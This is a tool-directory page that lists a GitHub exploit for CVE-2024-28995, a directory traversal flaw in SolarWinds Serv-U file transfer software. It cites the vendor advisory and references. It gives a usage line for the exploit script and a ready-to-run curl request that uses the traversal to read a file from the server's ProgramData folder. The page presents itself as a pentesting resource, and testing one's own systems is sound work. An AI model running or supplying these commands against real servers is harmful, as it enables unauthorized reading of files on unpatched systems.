Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/0xc4t/cve-2024-28995
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHub0xc4t/cve-2024-28995

CVE-2024-28995

Exploit for CVE-2024-28995

View Repository
212 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Exploit For CVE-2024-28995

On June 5, 2024, SolarWinds published an advisory for CVE-2024-28995, a high-severity directory traversal vulnerability affecting their file transfer solution Serv-U. The vulnerability was discovered by researcher Hussein Daher of Web Immunify.

Using exploit

root@kitploit:~
python3 CVE-2024-28995.py -t http://example.com/ -f somefile

Using Curl

root@kitploit:~
curl -i -k --path-as-is "http://<target>/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt"

Refrence:

  • https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
  • https://nvd.nist.gov/vuln/detail/CVE-2024-28995
Download Tool